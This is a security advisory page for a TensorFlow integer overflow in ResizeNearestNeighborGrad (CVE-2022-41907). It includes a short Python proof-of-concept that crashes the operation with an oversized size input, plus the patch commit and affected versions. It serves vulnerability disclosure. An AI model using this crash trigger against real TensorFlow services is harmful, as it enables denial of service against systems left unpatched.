Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS0zNjh2LTd2MzItNTJmeM4AAv_D
Overflow in `ResizeNearestNeighborGrad`
Impact
When tf.raw_ops.ResizeNearestNeighborGrad
is given a large size
input, it overflows.
import tensorflow as tf
align_corners = True
half_pixel_centers = False
grads = tf.constant(1, shape=[1,8,16,3], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw_ops.ResizeNearestNeighborGrad(grads=grads, size=size, align_corners=align_corners, half_pixel_centers=half_pixel_centers)
Patches
We have patched the issue in GitHub commit 00c821af032ba9e5f5fa3fe14690c8d28a657624.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.
Permalink: https://github.com/advisories/GHSA-368v-7v32-52fxJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNjh2LTd2MzItNTJmeM4AAv_D
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: 10 months ago
Updated: 8 months ago
CVSS Score: 4.8
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
Identifiers: GHSA-368v-7v32-52fx, CVE-2022-41907
References:
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-368v-7v32-52fx
- https://nvd.nist.gov/vuln/detail/CVE-2022-41907
- https://github.com/tensorflow/tensorflow/commit/00c821af032ba9e5f5fa3fe14690c8d28a657624
- https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/resize_nearest_neighbor_op.cc
- https://github.com/advisories/GHSA-368v-7v32-52fx
Affected Packages
pypi:tensorflow-gpu
Versions: >= 2.10.0, < 2.10.1, >= 2.9.0, < 2.9.3, < 2.8.4Fixed in: 2.10.1, 2.9.3, 2.8.4
pypi:tensorflow-cpu
Versions: >= 2.10.0, < 2.10.1, >= 2.9.0, < 2.9.3, < 2.8.4Fixed in: 2.10.1, 2.9.3, 2.8.4
pypi:tensorflow
Versions: >= 2.10.0, < 2.10.1, >= 2.9.0, < 2.9.3, < 2.8.4Fixed in: 2.10.1, 2.9.3, 2.8.4